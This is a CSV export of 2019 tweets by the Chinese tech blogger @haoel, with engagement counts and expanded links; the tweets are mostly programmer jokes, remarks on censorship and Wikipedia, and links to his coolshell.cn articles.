https://t.co/Hq4PfDRcsG,\"[TextLink(text='twitter.com/FiloSottile/st…', url='https://twitter.com/FiloSottile/status/1169292699578638337', tcourl='https://t.co/Hq4PfDRcsG', indices=(22, 45))]\",https://twitter.com/haoel/status/1169834899966087168\n4663,1169827758051999744,2019-09-06 04:20:46+00:00,41,4,14,,说起脸盲，我对一些演艺明星也是有脸盲证的，尤其是西方漂亮的女明星，完全脸盲，无论看过多少次她们的电影我都分不清谁是谁，这可能是我在看她们的时候，把大部分的注意力放在她们胸部的原因吧（那个部位长地的确都差不多）……,,https://twitter.com/haoel/status/1169827758051999744\n4664,1169251283380760576,2019-09-04 14:10:04+00:00,225,37,11,,经过长时间的研究发现，只要你遇上的问题在Stackoverflow找不到答案，那么，在Github上的相关repo上一定会至少有一个长期未能解决的issuse！这个issue 要么是长期没有回应，要么就是被refer了各种乱七八糟无关的PR……,,https://twitter.com/haoel/status/1169251283380760576\n4665,1168801323904430080,2019-09-03 08:22:05+00:00,0,0,2,,@pnsxmm @ptsakula @tinyfool 对不起有用么？请发福利，谢谢,,https://twitter.com/haoel/status/1168801323904430080\n4666,1168476683227156480,2019-09-02 10:52:05+00:00,186,28,34,,很多翻墙出来的人说，一上twitter，时间线上全是反华言论和各种负能量，我就奇怪了，这不是你follow啥给你看啥吗？我的时间线上基本上全都是英文的内容，科技、电影、游戏、体育、历史和喜剧搞笑的，关于政治上的事，我天天看美国人民各种花式嘲讽他们的总统，相当的“正能量”啊……,,https://twitter.com/haoel/status/1168476683227156480\n4667,1168100257508364288,2019-09-01 09:56:18+00:00,74,11,4,,有个小朋友跟我讨论自己是乐观的还是悲观的，他说他是比较乐观的，因为他觉得整个社会的好多事都在向好的方向发展比以前好很多了，所以，他很乐观。我说，我跟你一样，我总体也很乐观，只不过我的乐观的原因和你的不一样，我的乐观来自对自己能力的提升，来自能有更多的可能性和选择，有更多的自由……,,https://twitter.com/haoel/status/1168100257508364288\n4668,1168041394604138501,2019-09-01 06:02:24+00:00,37,10,2,,警方教官解释为什么 John Wick 的技术都是有效的 https://t.co/ZKFExz06jp,\"[TextLink(text='youtu.be/5J5vQnxJf3w', url='https://youtu.be/5J5vQnxJf3w', tcourl='https://t.co/ZKFExz06jp', indices=(29, 52))]\",https://twitter.com/haoel/status/1168041394604138501\n4669,1167995073281134592,2019-09-01 02:58:20+00:00,48,5,6,,试用微软的Kaizala （很TG）建了个程序员的群，分享一些程序员圈子的讯息，英文为主，欢迎加入。https://t.co/0s8YHlex17 https://t.co/EYD2f3n3Rd,\"[TextLink(text='join.kaiza.la/p/izy0_ZxFRYOG…', url='https://join.kaiza.la/p/izy0_ZxFRYOGhcSPxEZoAQ', tcourl='https://t.co/0s8YHlex17', indices=(50, 73))]\",https://twitter.com/haoel/status/1167995073281134592\n4670,1167715676955369473,2019-08-31 08:28:07+00:00,3,0,0,,@nishuang 不用来写程序太浪费了……😜,,https://twitter.com/haoel/status/1167715676955369473\n4671,1166995987874734080,2019-08-29 08:48:19+00:00,48,4,6,,随后，我联系了一款没人玩的手游，花上几千元让他把这游戏植入他的视频，且一定要有劳力士手表。几天后，视频发布，我把手游老板给我的钱分了一半给他，我们三方都笑开了花……哎，互联网的快乐，就是这么朴实无华，且枯燥！,,https://twitter.com/haoel/status/1166995987874734080\n4672,1166995979658125313,2019-08-29 08:48:17+00:00,32,2,2,,看到他只用一块劳力士手表，就可以拍几个短视频，描述有钱人的快乐生活。我花了几百块钱雇了网络水军给他的视频点赞转发，可以想像他收获这些网络虚荣的快乐和激动，这会让他更卖力地制作视频成为网红……,,https://twitter.com/haoel/status/1166995979658125313\n4673,1165978839916269569,2019-08-26 13:26:32+00:00,47,23,5,,从来没玩过快手，也有意逼开国内的互联网，然而，我还是too young …… 认真看过视频，厉害了我的老铁……,,https://twitter.com/haoel/status/1165978839916269569\n4674,1165652411236536321,2019-08-25 15:49:26+00:00,171,39,2,,在飞机上看了《纸牌人生》这个纪录片。纪录片大部分的时间讲述了男主不认命不屈服，一定要像正常人一样生活，被他那种“我命由我我不由天”的要强人生所激励，而最后，男主放下面子，正视自己的弱点和不足，开始变得柔软，却更为强大，那句“你无法征服你不愿意去面对的事”把我触动一塌糊涂…… https://t.co/Tx6i7RTimd,,https://twitter.com/haoel/status/1165652411236536321\n4675,1164546267076149248,2019-08-22 14:34:00+00:00,14,2,2,,我的意思是，我的记忆还停留在以前，完全没意识到他已这么大了……吓到我不行……,,https://twitter.com/haoel/status/1164546267076149248\n4676,1164540340507820038,2019-08-22 14:10:27+00:00,86,9,16,,路过前前前东家，去见了当年我带的一个刚毕业的学生，这多年来他还呆在这家公司。我跟他边回忆往事，边互问这几年的经历……聊到深处，我问他，你一毕业就在这里，你不觉的人生经历有点单一么，你这么年轻，应该多闯一闯，年轻人就要去经历一些不同的经历才对啊……结果他回：“我已38岁了……”😱😱,,https://twitter.com/haoel/status/1164540340507820038\n4677,1163997016478760962,2019-08-21 02:11:29+00:00,101,47,16,,有些人对言论自由理解可能有误，既便这样也不愿上Wikipedia看一下 https://t.co/QrXCKvCOw2 https://t.co/VPB65sVfC7,\"[TextLink(text='zh.wikipedia.org/wiki/%E8%A8%80…', url='https://zh.wikipedia.org/wiki/%E8%A8%80%E8%AB%96%E8%87%AA%E7%94%B1', tcourl='https://t.co/QrXCKvCOw2', indices=(36, 59))]\",https://twitter.com/haoel/status/1163997016478760962\n4678,1163981421607653381,2019-08-21 01:09:31+00:00,1,0,3,,@nullAndEmpty 这叫段子，你懂吧？,,https://twitter.com/haoel/status/1163981421607653381\n4679,1163831105331404802,2019-08-20 15:12:13+00:00,1060,270,68,,你怕自己的人能访问外网，建个墙把人家整个网站封了，现在你那边出来这么多人去访问你封了的网站，人家帮你执法封了你没封住的人的人，应该感谢人家才对啊……,,https://twitter.com/haoel/status/1163831105331404802\n4680,1163448021603905536,2019-08-19 13:49:58+00:00,0,0,1,,@nardoge 当然要学C，必学,,https://twitter.com/haoel/status/1163448021603905536\n4681,1163415810439884808,2019-08-19 11:41:59+00:00,2,0,2,,@retawL 我对编程语言没有任何的厌恶，来了就学，学了就用，我反对别人黑C++并不代表我是C++粉，平庸之辈的思维模型只有0和1……,,https://twitter.com/haoel/status/1163415810439884808\n4682,1163413937347391488,2019-08-19 11:34:32+00:00,0,0,2,,@retawL 谁说我不喜欢go？,,https://twitter.com/haoel/status/1163413937347391488\n4683,1163407431260463104,2019-08-19 11:08:41+00:00,52,4,14,,因为有网友写书，要引用我的一篇关于C语言的文章，所以我重读了一下我好几年前写的这篇文章https://t.co/6VFt2JdNc2 ，读完我都觉得点崩溃，感觉C语言太ugly了，不知道年轻的时候写C是怎么过来的……今天，再也不想碰C的代码了……哈哈,\"[TextLink(text='coolshell.cn/articles/11377…', url='https://coolshell.cn/articles/11377.html', tcourl='https://t.co/6VFt2JdNc2', indices=(43, 66))]\",https://twitter.com/haoel/status/1163407431260463104\n4684,1163407247105376256,2019-08-19 11:07:57+00:00,20,5,2,,因为有网友写书，要引用我的一篇关于C语言的文章，所以我重读了一下我好几年前写的这篇文章《》https://t.co/6VFt2JdNc2 ，读完我都觉得点崩溃，感觉C语言太ugly了，不知道年轻的时候写C是怎么过来的……今天，再也不想碰C的代码了……,\"[TextLink(text='coolshell.cn/articles/11377…', url='https://coolshell.cn/articles/11377.html', tcourl='https://t.co/6VFt2JdNc2', indices=(45, 68))]\",https://twitter.com/haoel/status/1163407247105376256\n4685,1163274553398665216,2019-08-19 02:20:40+00:00,0,0,1,,@likev 这是每个C语言的初学者都会犯的错。,,https://twitter.com/haoel/status/1163274553398665216\n4686,1161668825181376512,2019-08-14 16:00:05+00:00,0,0,0,,@kava 用你的大脑想想，这样的提醒不正是维基百科的客观之处么？,,https://twitter.com/haoel/status/1161668825181376512\n4687,1161467362110889984,2019-08-14 02:39:32+00:00,165,28,60,,我在twitter上发个贴，说信息尽量从更为客观的渠道获取，比如维基百科就比微信公众号好。于是有网友就把我的这个推截图转到微博，说我是个老鼠屎，发布反动言论……,,https://twitter.com/haoel/status/1161467362110889984\n4688,1161146652322721794,2019-08-13 05:25:09+00:00,21,3,12,,《长安十二时辰》电视剧的结局，把这么大事的主谋推到一个小人物上，感觉看的是“唐朝统治阶级的官宣版本”……,,https://twitter.com/haoel/status/1161146652322721794\n4689,1160836905216253952,2019-08-12 08:54:20+00:00,0,0,0,,@italkss Wow这脑洞，好科幻！,,https://twitter.com/haoel/status/1160836905216253952\n4690,1160790119428739072,2019-08-12 05:48:25+00:00,22,2,5,,昨晚做了个梦，有个画面是我在抽烟，抽得正爽时，突然想起我已经戒烟一年多了，怎么又抽上了，再一看，烟盒中只剩5根烟了，各种自责，负着沉重的自责内疚睡觉，睡得别得多难受了……直到后来发现，原来那个“我”是另一个平行世界的，才如释重负，舒畅地睡过去了……感谢近期的科幻电影让我睡了个好觉！,,https://twitter.com/haoel/status/1160790119428739072\n4691,1159408257741418496,2019-08-08 10:17:24+00:00,2,0,1,,@w4kai 这么啰嗦，直接 push -f 就行了嘛……嘿嘿嘿,,https://twitter.com/haoel/status/1159408257741418496\n4692,1159405423260131328,2019-08-08 10:06:08+00:00,989,268,45,,HK原本是从CN fork出来的，后来被UK push了好多feature，现在要merge回CN，conflict太多了……,,https://twitter.com/haoel/status/1159405423260131328\n4693,1158325365116305408,2019-08-05 10:34:22+00:00,136,31,37,,今天面试面了一个小伙子，我想了解他在团队中的位置 ，所以，询问了一下他的团队，当我问他所在的团队成员的能力时，他说，团队中有两个年纪偏大的90年出生的还不错…… 瞬间觉得公司就是个老年人的公司了……心情跌落到低谷……,,https://twitter.com/haoel/status/1158325365116305408\n4694,1158031295475113985,2019-08-04 15:05:50+00:00,4,0,3,,@chloerei 你太不了解维基百科了。我估计你是被强习惯了，不知道世界怎么运作的。给你个链接参考一下：https://t.co/oKpHIugf6h 注明：观点必须中立，信息必有出处，可随时补充纠正，对于争论，维基百科要求描述争议，但不参与其中。如果参与人做不到，则条目会被删除。,\"[TextLink(text='zh.m.wikipedia.org/wiki/Wikipedia…', url='https://zh.m.wikipedia.org/wiki/Wikipedia:%E4%B8%AD%E7%AB%8B%E7%9A%84%E8%A7%82%E7%82%B9', tcourl='https://t.co/oKpHIugf6h', indices=(53, 76))]\",https://twitter.com/haoel/status/1158031295475113985\n4695,1157841037924024326,2019-08-04 02:29:49+00:00,2,0,2,,@hanleilei 维基百科上也有潘晓颖命案的词条啊，你应该看看他们之间是否有因果关系。“香港民主派反对该草案，并建议香港政府以日落条款方式修例，即与台湾进行单次移交疑犯陈同佳，但遭政府拒绝。中华民国陆委会表示，台湾不会同意与香港以“一个中国”前提为由修改的条例，来进行双方面的交涉。”,,https://twitter.com/haoel/status/1157841037924024326\n4696,1157579923835371522,2019-08-03 09:12:15+00:00,347,78,13,,不知为什么，现在对字符式的图形界面没抵抗力……https://t.co/8ZduLLE3op https://t.co/k3afdDUJF7,\"[TextLink(text='github.com/sqshq/sampler', url='https://github.com/sqshq/sampler', tcourl='https://t.co/8ZduLLE3op', indices=(23, 46))]\",https://twitter.com/haoel/status/1157579923835371522\n4697,1157571746368643072,2019-08-03 08:39:45+00:00,229,66,52,,微信朋友圈里又在刷屏一篇《香港问题的来龙去脉》，我一直在想，对于这类对时事解读“来龙去脉”的文章，Wikipedia 不是最好的地方么？然而大众更习惯于被审查的微信公众号……（可见大众已经不会获得信息）https://t.co/9g38JKdbPO,\"[TextLink(text='zh.m.wikipedia.org/wiki/%E5%8F%8D…', url='https://zh.m.wikipedia.org/wiki/%E5%8F%8D%E5%B0%8D%E9%80%83%E7%8A%AF%E6%A2%9D%E4%BE%8B%E4%BF%AE%E8%A8%82%E8%8D%89%E6%A1%88%E9%81%8B%E5%8B%95?wprov=sfti1', tcourl='https://t.co/9g38JKdbPO', indices=(101, 124))]\",https://twitter.com/haoel/status/1157571746368643072\n4698,1156519643957252104,2019-07-31 10:59:04+00:00,25,3,4,,看了《哪吒魔童降世》，动画真是国际接轨了，故事情节让我有点“腻歪”，因为各个角色的“人设”与之前的《哪吒闹海》都是反着的……但想想，之前的版本可能并不都是真实的，是“天庭官宣”的，故意转移矛盾，而《魔童》这一版的才真相……哦，两部影片唯一相同的是“愚昧无知的大众”……,,https://twitter.com/haoel/status/1156519643957252104\n4699,1155775324405133313,2019-07-29 09:41:25+00:00,12,3,6,,我的有Touchbar 的MBP键坏过好几个键，年初在Apple店的修的时候得知有键盘关怀计划，这两天看到官方承认键盘缺陷的网页了。https://t.co/2hQPOQ9UJn,\"[TextLink(text='support.apple.com/zh-cn/keyboard…', url='https://support.apple.com/zh-cn/keyboard-service-program-for-mac-notebooks?from=groupmessage&isappinstalled=0', tcourl='https://t.co/2hQPOQ9UJn', indices=(66, 89))]\",https://twitter.com/haoel/status/1155775324405133313\n4700,1155774579991695361,2019-07-29 09:38:27+00:00,1,0,1,,https://t.co/2hQPOQ9UJn,\"[TextLink(text='support.apple.com/zh-cn/keyboard…', url='https://support.apple.com/zh-cn/keyboard-service-program-for-mac-notebooks?from=groupmessage&isappinstalled=0', tcourl='https://t.co/2hQPOQ9UJn', indices=(0, 23))]\",https://twitter.com/haoel/status/1155774579991695361\n4701,1153119661950566400,2019-07-22 01:48:45+00:00,0,0,0,,@zzyzxd 谢谢，已更正！,,https://twitter.com/haoel/status/1153119661950566400\n4702,1152976876677320704,2019-07-21 16:21:23+00:00,71,24,1,,酷壳 https://t.co/IuyntCmVpT - 50年前的登月程序和程序员有多硬核: 2019年7月20日，是有纪念意义的一天，这天不是因为广大网民帮周杰伦在新浪微博上的超话刷到第一，而是阿波罗… https://t.co/Co7fTOE2Y0,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/p7UaNw', url='https://goo.gl/fb/p7UaNw', tcourl='https://t.co/Co7fTOE2Y0', indices=(104, 127))]\",https://twitter.com/haoel/status/1152976876677320704\n4703,1152898589632319490,2019-07-21 11:10:18+00:00,76,24,7,,三年前，Apollo开源时，有个人发了一条推：“我妈50年前的代码被放到Github上了！” 今天，Apollo登月50周年，那些到 Github 发spam issue 的人一定是想让他们的孩子在登月100周年纪念的时候说——50年前我爹那个傻叉在Apollo的github的issue列表时灌了水！ https://t.co/HzzDWVBMMt,,https://twitter.com/haoel/status/1152898589632319490\n4704,1152824053628977152,2019-07-21 06:14:07+00:00,18,2,18,,新浪微博超话是个什么烂排行榜啊，top 10里，只认识周杰伦一个，top 100只认识10来个人……把不上微博的周杰伦刷到这个烂榜单里，确认不是高级黑么…… https://t.co/I99uVZiAOs,,https://twitter.com/haoel/status/1152824053628977152\n4705,1151797334990131200,2019-07-18 10:14:18+00:00,17,1,0,,@Barret_China “不穿比基尼的前端工程研发体系”,,https://twitter.com/haoel/status/1151797334990131200\n4706,1151778179717058560,2019-07-18 08:58:11+00:00,34,11,2,,\"Bad programmers worry about the code. Good programmers worry about data structures and their relationships. —Torvalds, Linus (2006-06-27) https://t.co/t25hzX46YN\",\"[TextLink(text='lwn.net/Articles/19324…', url='http://lwn.net/Articles/193245/', tcourl='https://t.co/t25hzX46YN', indices=(138, 161))]\",https://twitter.com/haoel/status/1151778179717058560\n4707,1151667042749014016,2019-07-18 01:36:34+00:00,47,6,5,,当年看到这个解的时候也很惊叹，但冷静想想就知道这不是算法了，这是小聪明，算法是尽可能的做到放之四海而皆准，下限是不受类型的影响，比如int改成long，上限是可以扩展更通用的，比如扩展成isPowerOfNumber……,,https://twitter.com/haoel/status/1151667042749014016\n4708,1151348414967193600,2019-07-17 04:30:27+00:00,191,76,10,,毕业季，我同学的一朋友的亲戚写给自己学生的信，经同意，分享给毕业的同学…… https://t.co/Xe0A9oluFA,,https://twitter.com/haoel/status/1151348414967193600\n4709,1148202499116945408,2019-07-08 12:09:43+00:00,28,2,0,,@mranti 参看 https://t.co/1nnQVOvhCC ，哈哈，要是命令行，那键盘咋办啊……,\"[TextLink(text='apps.galaxyappstore.com/geardetail/com…', url='http://apps.galaxyappstore.com/geardetail/com.wf.quarlow.Terminal', tcourl='https://t.co/1nnQVOvhCC', indices=(11, 34))]\",https://twitter.com/haoel/status/1148202499116945408\n4710,1148198531712217088,2019-07-08 11:53:57+00:00,629,82,37,,这才是我最喜欢的图形界面…… https://t.co/skqsXEbQto,,https://twitter.com/haoel/status/1148198531712217088\n4711,1144557525162790912,2019-06-28 10:45:53+00:00,35,4,2,,买比特帀的人都会说的两句话：1）过年前想买来着，还好没买，2）过年前想买来着，可惜没买,,https://twitter.com/haoel/status/1144557525162790912\n4712,1142412166479241216,2019-06-22 12:41:00+00:00,302,131,13,,【如何超过大多数人】当你看到这篇文章的标题，你一定对这篇文章产生了巨大的兴趣，因为你的潜意识在告诉你，这是本“武林秘籍”，只要读完，一定可以练就神功……然而，这还真就是一篇“秘籍”，而且只有我这个过到十六进制2B年纪的“人生导师”可以驾驭，舍我其谁啊？！ https://t.co/6AjFoNtBWl,\"[TextLink(text='coolshell.cn/articles/19464…', url='https://coolshell.cn/articles/19464.html', tcourl='https://t.co/6AjFoNtBWl', indices=(128, 151))]\",https://twitter.com/haoel/status/1142412166479241216\n4713,1142411613493813248,2019-06-22 12:38:48+00:00,31,5,3,,评价太高了,,https://twitter.com/haoel/status/1142411613493813248\n4714,1141916075983925248,2019-06-21 03:49:42+00:00,74,7,8,,我现在的公司使用洋名MegaEase，崇洋媚外，以后改成中文，用MegaEase的谐音：“没个意思”！,,https://twitter.com/haoel/status/1141916075983925248\n4715,1138301640191045633,2019-06-11 04:27:14+00:00,25,8,9,,如果你想整一台Ubuntu 12.04的机器，天翼云真是不错的选择。中年人怀旧型主机，火爆秒杀中…… https://t.co/s6yUgtreMG https://t.co/oCxh1XhkJx,\"[TextLink(text='ctyun.cn/activity/?2019…', url='https://www.ctyun.cn/activity/?20190606#/618', tcourl='https://t.co/s6yUgtreMG', indices=(51, 74))]\",https://twitter.com/haoel/status/1138301640191045633\n4716,1137937502092705792,2019-06-10 04:20:17+00:00,94,10,17,,\"终于活到了十六进制是2B的年纪……\n\nTo be or not to be…… https://t.co/lesajmXkOS\",,https://twitter.com/haoel/status/1137937502092705792\n4717,1137329212220567552,2019-06-08 12:03:09+00:00,0,0,1,,@xinzhehe 青岛,,https://twitter.com/haoel/status/1137329212220567552\n4718,1137327105195167745,2019-06-08 11:54:47+00:00,101,3,9,,“努力！奋斗！” https://t.co/Bl45daENtl,,https://twitter.com/haoel/status/1137327105195167745\n4719,1136842499543093248,2019-06-07 03:49:08+00:00,467,115,26,,今天高考，想起我高考的时候，1:7.9的录取率，9个人有8个人连大专都上不了。现在的录取率80%-90%，反过来了，所以上个大学问题不大了。希望考生上大学后，坚持使用Google英文资料，多用国际上权威教材网课…你不仅可以赢在起跑线，超过你的同学，还会超过你的老师、师兄，以及已经工作数年的同行……,,https://twitter.com/haoel/status/1136842499543093248\n4720,1136154435367784448,2019-06-05 06:15:00+00:00,1,0,1,,@kevinzhow 你居然还没驾照……,,https://twitter.com/haoel/status/1136154435367784448\n4721,1136153886417285120,2019-06-05 06:12:49+00:00,2,0,2,,@kevinzhow 副驾👍🏻,,https://twitter.com/haoel/status/1136153886417285120\n4722,1135771526563635200,2019-06-04 04:53:28+00:00,360,146,12,,\"有用排序算法：\n\nO(n)排序算法，遍历数组，删除不顺序的元素。\n\nO(1)排序算法，声明一个排序数组，有人不同意就把他关进大牢。\n\nO(0)排序算法，教育所有人，这世界不存在不顺序的数组。\",,https://twitter.com/haoel/status/1135771526563635200\n4723,1131722602932654080,2019-05-24 00:44:29+00:00,0,0,0,,@niweicumt 聊到些敏感词,,https://twitter.com/haoel/status/1131722602932654080\n4724,1131714218556776449,2019-05-24 00:11:10+00:00,0,0,1,,@linuxyz 我拉你入群？,,https://twitter.com/haoel/status/1131714218556776449\n4725,1131578708655919110,2019-05-23 15:12:42+00:00,44,12,18,,大叔们的微信群都能聊出红框告警，厉害了👍🏻 https://t.co/dxxThIjMWQ,,https://twitter.com/haoel/status/1131578708655919110\n4726,1126490827906220033,2019-05-09 14:15:17+00:00,54,18,1,,酷壳 https://t.co/IuyntCmVpT - HTTP API 认证授权术: 我们知道，HTTP是无状态的，所以，当我们需要获得用户是否在登录的状态时，我们需要检查用户的登录状态，一般来说… https://t.co/68inbhz3hw,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/Ltn9Br', url='https://goo.gl/fb/Ltn9Br', tcourl='https://t.co/68inbhz3hw', indices=(102, 125))]\",https://twitter.com/haoel/status/1126490827906220033\n4727,1126454253420027904,2019-05-09 11:49:57+00:00,11,2,0,,那还是汉语拼音“行人”的“行”Xing啊……,,https://twitter.com/haoel/status/1126454253420027904\n4728,1124953504605302784,2019-05-05 08:26:30+00:00,10,1,6,,@kevinzhow 古典互联网几个词：美眉、恐龙、青蛙、伊妹儿、我晕、菜鸟、大吓、I服了U……,,https://twitter.com/haoel/status/1124953504605302784\n4729,1124647915727667201,2019-05-04 12:12:12+00:00,80,36,2,,How to create an open source project... https://t.co/FvvuKkjV2t,,https://twitter.com/haoel/status/1124647915727667201\n4730,1124271271632486400,2019-05-03 11:15:33+00:00,65,12,6,,带我9岁外甥来蓝色港湾，我跟他介绍说这里是欧洲小镇风格，小外甥问了我个促不及防的问题：“北京是中国的首都，为什么不爱国？”……我说爱国并不一定是什么都是要用中国的，比如你的iPad，电脑，手机…都是美国的…外甥想了想，好像不太能理解，自己解释到：“那我都爱，反正爱国也没说爱哪个国…”,,https://twitter.com/haoel/status/1124271271632486400\n4731,1124236682272751618,2019-05-03 08:58:07+00:00,87,21,6,,互联网就是这么一回事，上面的人并不关心事情的原由起因及过程，只关心有没有可以吃瓜的素材，这些人每天都在等着各种八卦信息喂养，他们时而像长舌妇，时而像街头混混，没有这些信息，他们就终日无所事事，一旦有了可以八卦的信息，他们就跟打了鸡血一样，家长里短，搬弄是非，上纲上线……,,https://twitter.com/haoel/status/1124236682272751618\n4732,1123938995627491328,2019-05-02 13:15:12+00:00,0,0,0,,@breaver1 哈哈😄,,https://twitter.com/haoel/status/1123938995627491328\n4733,1123854635205263360,2019-05-02 07:39:59+00:00,48,14,4,,看看超级英雄们的年纪，感觉我就是保卫世界和平乃至宇宙生命的中坚力量…… https://t.co/gKSDYlNYbg,,https://twitter.com/haoel/status/1123854635205263360\n4734,1123735702292828160,2019-05-01 23:47:24+00:00,1,0,0,,@ohmyccoh 难道不是？😜,,https://twitter.com/haoel/status/1123735702292828160\n4735,1123602339246379008,2019-05-01 14:57:27+00:00,890,407,16,,好些人不清楚程序员的工作是啥样的，我汇编了几个视频可以很形象的展示程序员是如何面对生产环境中的问题的……🐶🐶 https://t.co/0edlBKSyIE,,https://twitter.com/haoel/status/1123602339246379008\n4736,1122469940127096832,2019-04-28 11:57:42+00:00,41,7,0,,当有人在网络上冒犯你的时候…… https://t.co/4iEUmFGuyG,,https://twitter.com/haoel/status/1122469940127096832\n4737,1120848992324079616,2019-04-24 00:36:38+00:00,5,0,0,,@nishuang 谢谢建议，其实无论你如何做，总是会有人不理解的。这里，我只是想讽刺一下当下……,,https://twitter.com/haoel/status/1120848992324079616\n4738,1120708104054640640,2019-04-23 15:16:48+00:00,22,3,6,,未来几天不能打开任何社交App，微信、微博、知乎、豆瓣、头条、抖音、twitter、fb、instagram……直到看完《复联4》……,,https://twitter.com/haoel/status/1120708104054640640\n4739,1119881081812131840,2019-04-21 08:30:30+00:00,24,6,0,,酷壳 https://t.co/IuyntCmVpT - StackOverflow 2019 程序员调查: 前些天，StackOverflow 发布了 2019年的年度程序员调查，这个调查报查有… https://t.co/aBxa1J7Vzp,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/3azM8L', url='https://goo.gl/fb/3azM8L', tcourl='https://t.co/aBxa1J7Vzp', indices=(100, 123))]\",https://twitter.com/haoel/status/1119881081812131840\n4740,1118359224634023937,2019-04-17 03:43:11+00:00,298,123,20,,酷壳 https://t.co/IuyntCmVpT - “努力就会成功”: 那一年，我加入了某知名公司的某知名部门，在办公室中，我看到了到处都挂着——“努力就会成功”的条幅，这个部门中大多数员工的邮件… https://t.co/T8fLB8vC4f,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/z3HWJj', url='https://goo.gl/fb/z3HWJj', tcourl='https://t.co/T8fLB8vC4f', indices=(103, 126))]\",https://twitter.com/haoel/status/1118359224634023937\n4741,1116883553080360962,2019-04-13 01:59:24+00:00,149,43,5,,做奴隶虽然不幸，但并不可怕，因为知道挣扎，毕竟还有挣脱的希望；若是从奴隶生活中寻出美来，赞叹、陶醉，就是万劫不复的奴才了！——鲁迅 https://t.co/MW7phF6fWQ,,https://twitter.com/haoel/status/1116883553080360962\n4742,1116642104560590848,2019-04-12 09:59:58+00:00,97,34,12,,有人转了篇文章给我，文中说，996是一种巨大的福气。我其实是挺认同的，尤其对于我这个四十多岁的中年老男人来说，看到下一代年轻人都认为——加班就会成长，努力就会成功，使劲996就会达到人生的高潮和颠峰……对我这个早就应该被年轻人干掉的中年男人来说，的确是巨大的福气……🤪,,https://twitter.com/haoel/status/1116642104560590848\n4743,1116366605120761856,2019-04-11 15:45:14+00:00,9,4,1,,想想知乎……,,https://twitter.com/haoel/status/1116366605120761856\n4744,1113673882295136257,2019-04-04 05:25:19+00:00,27,2,34,,关于那个“技术爸爸带娃群的推”，我本来就想写个段子，表达这群技术男连家庭地位都没有，还带个毛的娃，完全就是个互诉衷肠的“互助会”，哈哈。结果似乎击中了大家的软肋……但是行有行规，即便大家有优郁的眼神和稀稀的胡渣子，也得要面试入群……下面是面试群二维码…… https://t.co/TppYiGz7OX,,https://twitter.com/haoel/status/1113673882295136257\n4745,1113670316583047168,2019-04-04 05:11:09+00:00,2,0,10,,你们要的“苦难爸爸互助会”的二维码分享不出来啊…… https://t.co/B8mG0hAAMl,,https://twitter.com/haoel/status/1113670316583047168\n4746,1113277378275434497,2019-04-03 03:09:45+00:00,0,0,2,,@fswordlee 有了才不科学，这可是男人的“工会”啊，进来女人怎么办？,,https://twitter.com/haoel/status/1113277378275434497\n4747,1113262105896005632,2019-04-03 02:09:04+00:00,263,67,101,,有幸加入了个【程序员爸爸带娃】的微信群，入群时被严肃告之不能让老婆知道这个群，心想也理解，两口子带娃的理念本来就不一样，何况技术男。呆了几天，发现群里洋溢着一种亲切而温暖的气氛，大家的热情和爱心相互感染，我们在一起相互倾诉苦衷，相互打气鼓励，相互依存，一起面对现实中的种种不公……,,https://twitter.com/haoel/status/1113262105896005632\n4748,1113041655714603008,2019-04-02 11:33:04+00:00,151,28,23,,刚接了个营销电话，电话那头还是一如往常地给我推销贷款/保险……没等他说完，我打断了他说，我感觉你岁数不大，应该是年轻人，听我一句话，趁年轻，多学点对自己有帮助的东西，别干这事了，你的一生最好的时光都别浪费了，还是找份更有未来的工作吧，真的……小伙子不好意思说，谢谢，不打扰了……,,https://twitter.com/haoel/status/1113041655714603008\n4749,1112522541367623682,2019-04-01 01:10:18+00:00,4,3,0,,We need topless...,,https://twitter.com/haoel/status/1112522541367623682\n4750,1112366435160850433,2019-03-31 14:49:59+00:00,139,40,11,,Stackoverflow 模仿90年代的网页，完全命中了我这种大叔软处，一下子让我彷佛回到了20年前年在Netscape 和IE3.0下做网页的时光，跑马灯、菜单栏、访问计数、鼠标动画……大叔的回忆杀…… https://t.co/CeiU4hzYv4,,https://twitter.com/haoel/status/1112366435160850433\n4751,1112163710590550016,2019-03-31 01:24:26+00:00,1,0,0,,@ilovehoo1 @xidianw3 @tinyfool 小黄狗背后的那盘大棋了解一下：https://t.co/9BwALwObI2,\"[TextLink(text='36kr.com/p/5189763', url='https://36kr.com/p/5189763', tcourl='https://t.co/9BwALwObI2', indices=(46, 69))]\",https://twitter.com/haoel/status/1112163710590550016\n4752,1111630742830940160,2019-03-29 14:06:36+00:00,74,6,19,,朋友打电话给我说，他的苹果电脑出问题了，用的过程中有各式各样的小问题，很多问题都是些很奇怪的小问题，比如程序自动退出，输入法切换有问题，电脑合上盖后会自己开启，而且也很慢……我说，拿来我看看吧，朋友拿来后，一开机，我看到了Windows的启动画面……,,https://twitter.com/haoel/status/1111630742830940160\n4753,1110556809905897472,2019-03-26 14:59:11+00:00,4,1,4,,App Store 里搜个“党建”或“党员”，搜索结果翻了十几分钟都没结束，要么是党内用苹果手机的人挺多，要么是党帮苹果推销苹果产品……,,https://twitter.com/haoel/status/1110556809905897472\n4754,1110546779626328064,2019-03-26 14:19:19+00:00,11,0,3,,谢谢推上各路通马桶大神的评论和方案！,,https://twitter.com/haoel/status/1110546779626328064\n4755,1110415224182468609,2019-03-26 05:36:34+00:00,0,0,1,,@fishjar 等你去实践这个方案时，你就知道这个方案有多坑了……,,https://twitter.com/haoel/status/1110415224182468609\n4756,1110358951114108928,2019-03-26 01:52:58+00:00,3,0,1,,@zhangyourou 这个新闻是吧：https://t.co/QPG72pyJ4f,\"[TextLink(text='youtu.be/l4RdX9eWu_w', url='https://youtu.be/l4RdX9eWu_w', tcourl='https://t.co/QPG72pyJ4f', indices=(20, 43))]\",https://twitter.com/haoel/status/1110358951114108928\n4757,1110347266974322688,2019-03-26 01:06:32+00:00,140,38,45,,我家的马桶经常堵，每次都用皮揣子，费时费力，我觉的这么常见的问题应该在更好的工具，上网一找就找到了，看上很不错，用比较强的空气压力……于是，我准备下单了，下单前看了下评论，基本都是好评，直到看到了下面这条……看来，威力是太大了…… 